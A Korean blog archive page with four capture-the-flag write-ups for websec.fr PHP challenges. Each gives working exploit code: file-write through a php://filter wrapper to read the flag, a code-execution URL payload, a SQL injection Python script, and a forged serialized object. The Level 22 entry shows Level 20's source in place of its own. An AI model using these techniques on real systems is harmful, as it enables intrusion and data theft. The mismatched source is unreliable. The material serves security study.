'2019/08/22'에 해당되는 글 4건

source.php


<?php
ini_set
('display_errors''on');
ini_set('error_reporting'E_ALL);

session_start();

include 
'clean_up.php';

/* periodic cleanup */
foreach (glob("./uploads/*") as $file) {
    if (
is_file($file)) {
        
unlink($file);
    } else {
        if (
time() - filemtime($file) >= 60 60 24 7) {
            
Delete($file);
        }
    }
}

$upload_dir sprintf("./uploads/%s/"session_id());
@
mkdir($upload_dir0755true);

/* sandboxing ! */
chdir($upload_dir);
ini_set('open_basedir''.');

$p "list";
$data "";
$filename "";

if (isset(
$_GET['p']) && isset($_GET['filename']) ) {
    
$filename $_GET['filename'];
    if (
$_GET['p'] === "edit") {
        
$p "edit";
        if (isset(
$_POST['data'])) {
            
$data $_POST['data'];
            if (
strpos($data'<?')  === false && stripos($data'script')  === false) {  # no interpretable code please.
                
file_put_contents($_GET['filename'], $data);
                die (
'<meta http-equiv="refresh" content="0; url=.">');
            }
        } elseif (
file_exists($_GET['filename'])){
            
$data file_get_contents($_GET['filename']);
        }
    }
}
?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level 24</title>
        <link rel="stylesheet" href="https://websec.fr/static/bootstrap.min.css" />
    <!-- Credits to blotus and bui for finding an unintended solution -->
</head>
    <body>
        <div class="container">
            <div class="row">
                <h1>Level TwentyFour<small> - Cloud-based plain-text storage</small></h1>
            </div>

            <div class="row">
                <p class="lead">
                Please enjoy our super-convenient cloud-based text storage facility,<br>
                    its sync-up scaled workflow connects with agile API worldwide on a global scale,<br>
                    to achieve synergy with outside the box diving devops.
                <br><br>
                    Another fine level by our very own <mark>nurfed</mark>, that you can check the source <a href="source.php">here</a>.
                </p>
            </div>

            <br>

            <div class="row">

<?php if ($p === "list") {
    echo 
"<div class='panel panel-default'>";
    echo 
"<div class='panel-heading'><h3 class='panel-title''>Index of <mark>$upload_dir</mark>:</h3></div>";
    echo 
"<div class='panel-body'><ul>";
    foreach (
array_diff(scandir('.'), ['..''.']) as $fn)
        echo 
"<li><a href='?p=edit&filename=$fn'>$fn</a></li>";
    echo 
"</ul></div></div>";
    
?>
    <form method="GET" class="form-inline">
        <div class="form-group">
            <input type="hidden" name="p" value="edit">
            <label for="filename">Create a new file:</label>
            <input class='form-control' type="text" name="filename" placeholder="file name">
        </div>
        <div class="form-group">
            <button type="submit" class='btn btn-default col-md-2 form-control' value="Submit">Create</button>
        </div>
    </form>

<?php } elseif ($p === "edit") {
    echo 
"<div class='panel panel-default'>";
    echo 
"<div class='panel-heading'><h3 class='panel-title''>";
    echo 
"File <mark>$filename</mark>'s content: <a type='button' class='close' href='.'><span>&times;</span></a></h3>";
    echo 
"</div>";
    echo 
"<div class='panel-body'>";
    echo 
"<form action='?p=edit&filename=$filename' method='post'>";
    echo 
"<input type='hidden' name='filename' value='$filename'>";
    echo 
"<textarea class='form-control' name='data' rows='6'>" htmlentities($data) . "</textarea><br>";
    echo 
"<a type='button' class='btn btn-default' href='.'>Cancel</a> ";
    echo 
"<button type='submit' class='btn btn-default' value='Submit'>Save changes</button>";
    echo 
"</form>";
    echo 
"</div></div>";
?>
</div>


그냥 php 파일 올릴 수 있는데, 파일 내용에 php tag 및 script를 필터하고 있다.


첨엔 그냥 file_put_contents로 파일 만들길래 array넣어서 우회하면 끝나겠거니 했는데 입력 값 검증할때 preg_match 안쓰고 stripos쓰는 바람에 에러가 터져서 요 방법은 안됬다. 그래서 그냥 php wrapper써서 base64 인코딩된 값을 디코딩하면서 파일 내용 삽입하게 했다.


exploit.py


import requests


def exploit(payload,payload2):

    url = "http://websec.fr/level24/index.php?p=edit&filename="+payload

    headers = {"Cookie":"PHPSESSID=ho8silrj9h2rl1q2u8i0vig3gfsp68sq"}

    data = {"data":payload2}

    result = requests.post(url,headers=headers,data=data).text

    print result



payload = "php://filter/convert.base64-decode/resource=123.php"

payload2 = "<?php echo file_get_contents('../../flag.php');?>".encode("base64")


exploit(payload,payload2)


print requests.get("http://websec.fr/level24/uploads/ho8silrj9h2rl1q2u8i0vig3gfsp68sq/123.php").text


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr medium level 05  (0) 2019.08.23
websec.fr medium level 03  (0) 2019.08.23
websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
websec.fr easy level20  (0) 2019.08.22
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php

include "flag.php";

class 
Flag {
    public function 
__destruct() {
       global 
$flag;
       echo 
$flag
    }
}

function 
sanitize($data) {
    
/* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
    
if ( ! preg_match ('/[A-Z]:/'$data)) {
        return 
unserialize ($data);
    }

    if ( ! 
preg_match ('/(^|;|{|})O:[0-9+]+:"/'$data )) {
        return 
unserialize ($data);
    }

    return 
false;
}

$data = Array();
if (isset (
$_COOKIE['data'])) {
    
$data sanitize (base64_decode ($_COOKIE['data']));
}

if (isset (
$_POST['value']) and ! empty ($_POST['value'])) {
    
/* Add a value twice to remove it from the list. */
    
if (($key array_search ($_POST['value'], $data)) !== false) {
        unset (
$data[$key]);
    } else { 
/* Else, simply add it. */
        
array_push ($data$_POST['value']);
    }
    
setcookie ('data'base64_encode (serialize ($data)));
}

?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Twenty</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <!-- Thanks to XeR for helping debugging this level. -->
</head>
<body>
    <div id="main">
        <div class="container">
            <div class="row">
                <h1>LevelTwenty <small> - Call me maybe</small></h1>
            </div>
            <div class="row">
                <p class="lead">
                    Since there is nothing that a good blacklist can't fix,
                    we're using <a href="https://secure.php.net/manual/en/function.unserialize.php">unserialize</a>
                    with a <b>bullet-proof</b> one for our amazing todo-list.<br>
                    You can get the sources <a href="source.php">here</a>.
                </p>
            </div>
        </div>
    <br>
        <div class="container">
            <div class="row">
                <form class="form-inline col-md-3" method='post'>
                    <input name='value' id='value' class='form-control' type='text' placeholder='Item'>
                    <input class="form-control btn btn-default" name="submit" value='Add' type='submit'>
                </form>
            </div>
            <div class="row col-md-3">
        <br>
                <ul class="list-group">
                <?php 
                    
foreach ($data as $value)
                        print 
'<li class="list-group-item">' htmlentities($value) . '</li>';
                
?>
                </ul>
            </div>
        </div>
    </div>
</body>
</html>


PHP Sandbox 인데 길이제한이 좀 빡세다. 대충 아래와 같은형태로하면 함수하나에 인자는 6글자까지 사용할수있게 만들었다.


http://websec.fr/level22/index.php?code=${~'%A0%B8%BA%AB'}{0}()&0=phpinfo


그냥 system류로 경로따고 cat f* 이런식으로하면 될 것 같았는데 system류 함수가 다 막혀있었다. 


그래서 그냥 scandir, glob같은거로 경로따서 플래그파일 보면 되겠지 했는데 플래그 파일명이 file_containing_the_flag_parts.php 요놈인데 엄청길다. 


뭐지하고 좀 보다보니 이상한게 있었는데 A라는 객체를 생성해서 필드에 값을 채워넣는 문제 로직이랑 전혀 상관없는 코드가 있었다. 해당 객체 필드를 못보게 -를 필터하고 unset까지해서 객체 인자로 들어가는 변수까지 초기화한걸 보니 저 객체만 어떻게 뿌려주면 될 것 같아서 그냥 var_dump로 객체를 뿌려주니 필드쪽에 플래그가 나눠서 세팅되어 있었다.


payload


http://websec.fr/level22/index.php?code=${~'%A0%B8%BA%AB'}{0}($a)&0=var_dump



'Wargame > websec.fr' 카테고리의 다른 글

websec.fr medium level 03  (0) 2019.08.23
websec.fr easy level 24  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
websec.fr easy level20  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<!-- Yet an other fine level, based on a real-world vuln discovered by @caillou -->
<?php

// Defines $flag
include 'flag.php';

$db = new PDO('sqlite::memory:');
$db->exec('CREATE TABLE users (
  user_id   INTEGER PRIMARY KEY,
  user_name TEXT NOT NULL,
  user_privileges INTEGER NOT NULL,
  user_password TEXT NOT NULL
)'
);

$db->prepare("INSERT INTO users VALUES(0, 'admin', 0, '$flag');")->execute();

for(
$i=1$i<25$i++) {
  
$pass md5(uniqid());
  
$user "user_" substr(crc32($pass), 02);
  
$db->prepare("INSERT INTO users VALUES($i, '$user', 1, '$pass');")->execute();
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Thirteen</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css" />
</head>
    <body>
        <div id="main">
            <div class="container">
                <div class="row">
                    <h1>LevelThirteen <small> - A privilege offer</small></h1>
                </div>
                <div class="row">
                    <p class="lead">
                                            A simple tool to display privileges, so you can check them.
                                            As usual, the source code can be found <a href="source.php">here</a>.
                    </p>
                </div>
            </div>
            <div class="container">
              <div class="row">
                <form class="form-inline" method='get'>
                                    Ids to display
                  <input name='ids' class='form-control' type='text' value='1,2,3'>
                  <input class="form-control btn btn-default" name="submit" value='Go' type='submit'>
                </form>
              </div>

<?php
if (isset($_GET['ids'])) {
    if ( ! 
is_string($_GET['ids'])) {
        die(
"Don't be silly.");
    }

    if ( 
strlen($_GET['ids']) > 70) {
        die(
"Please don't check all the privileges at once.");
    }

  
$tmp explode(',',$_GET['ids']);
  for (
$i 0$i count($tmp); $i++ ) {
        
$tmp[$i] = (int)$tmp[$i];
        if( 
$tmp[$i] < ) {
            unset(
$tmp[$i]);
        }
  }

  
$selector implode(','array_unique($tmp));

  
$query "SELECT user_id, user_privileges, user_name
  FROM users
  WHERE (user_id in (" 
$selector "));";

  
$stmt $db->query($query);

    echo 
'<br>';
    echo 
'<div class="well">';
  echo 
'<ul>';
  while (
$row $stmt->fetch(\PDO::FETCH_ASSOC)) {
        echo 
"<li>";
        echo 
"User <em>" $row['user_name'] . "</em>";
      echo 
"    with id <code>" $row['user_id'] . '</code>';
        echo 
" has <b>" . ($row['user_privileges'] == 0?"all":"no") . "</b> privileges.";
        echo 
"</li>\n";
  }
    echo 
"</ul>";
    echo 
"</div>";
}
?>
            </div>
        </div>
    </body>
</html>


explode 후 배열 카운트를 초기 값으로 고정시켜 사용하지 않고 반복문 돌때마다 다시 구하고 있다. 이 때문에 unset 으로 배열 길이를 줄여놓으면 뒤쪽에 정수형이 아닌 값들이 반복문안으로 못들어와서 취약점이 터진다.


exploit.py

import requests


def getFlag(payload):

    url = "http://websec.fr/level13/index.php"

    params = {"ids":payload,"submit":"go"}

    result = requests.get(url,params=params).text

    start =  result.find("WEBSEC{")

    print result[start:]


payload = ",,,,)) union select 1,2,user_password from users--"

getFlag(payload)


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level 24  (0) 2019.08.22
websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level20  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
Websec.fr babysteps level 25  (0) 2018.12.12
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

source.php


<?php

include "flag.php";

class 
Flag {
    public function 
__destruct() {
       global 
$flag;
       echo 
$flag
    }
}

function 
sanitize($data) {
    
/* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
    
if ( ! preg_match ('/[A-Z]:/'$data)) {
        return 
unserialize ($data);
    }

    if ( ! 
preg_match ('/(^|;|{|})O:[0-9+]+:"/'$data )) {
        return 
unserialize ($data);
    }

    return 
false;
}

$data = Array();
if (isset (
$_COOKIE['data'])) {
    
$data sanitize (base64_decode ($_COOKIE['data']));
}

if (isset (
$_POST['value']) and ! empty ($_POST['value'])) {
    
/* Add a value twice to remove it from the list. */
    
if (($key array_search ($_POST['value'], $data)) !== false) {
        unset (
$data[$key]);
    } else { 
/* Else, simply add it. */
        
array_push ($data$_POST['value']);
    }
    
setcookie ('data'base64_encode (serialize ($data)));
}

?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Twenty</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <!-- Thanks to XeR for helping debugging this level. -->
</head>
<body>
    <div id="main">
        <div class="container">
            <div class="row">
                <h1>LevelTwenty <small> - Call me maybe</small></h1>
            </div>
            <div class="row">
                <p class="lead">
                    Since there is nothing that a good blacklist can't fix,
                    we're using <a href="https://secure.php.net/manual/en/function.unserialize.php">unserialize</a>
                    with a <b>bullet-proof</b> one for our amazing todo-list.<br>
                    You can get the sources <a href="source.php">here</a>.
                </p>
            </div>
        </div>
    <br>
        <div class="container">
            <div class="row">
                <form class="form-inline col-md-3" method='post'>
                    <input name='value' id='value' class='form-control' type='text' placeholder='Item'>
                    <input class="form-control btn btn-default" name="submit" value='Add' type='submit'>
                </form>
            </div>
            <div class="row col-md-3">
        <br>
                <ul class="list-group">
                <?php 
                    
foreach ($data as $value)
                        print 
'<li class="list-group-item">' htmlentities($value) . '</li>';
                
?>
                </ul>
            </div>
        </div>
    </div>
</body>
</html>


Serialize된 Flag 객체 값을 넣어주면 되는데, 필터로직이 두개정도 있다. 소스 내 주석에 박힌 Exploit-db에서 사용한 O:+4 요런식의 +를 사용한 bypass도 막혀있는걸 볼 수 있다. 


이것저것 해보다 외국인이 쓴 unserialize관련 문서에서 요런걸 찾았다.


switch (yych) {
case 'C':
case 'O':       goto yy13;
case 'N':       goto yy5;
case 'R':       goto yy2;
case 'S':       goto yy10;
case 'a':       goto yy11;
case 'b':       goto yy6;
case 'd':       goto yy8;
case 'i':       goto yy7;
case 'o':       goto yy12;
case 'r':       goto yy4;
case 's':       goto yy9;
case '}':       goto yy14;
default:        goto yy16;


case구문을 잘 보면 O랑 C가 동일한 분기로 점프하는걸 볼 수 있고 O대신 C로 객체를 표현할 수 있나해서 로컬에서 테스트해보니 잘 되는걸 볼 수 있었다.


exploit.py


import requests


def exploit(payload):

    url = "http://websec.fr/level20/index.php"

    headers = {"Cookie":"data="+payload}

    result = requests.get(url,headers=headers).text

    print result


payload = 'C:4:"Flag":0:{}'.encode("base64").replace("\n","")

exploit(payload)


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
Websec.fr babysteps level 25  (0) 2018.12.12
Websec.kr easy level 15  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,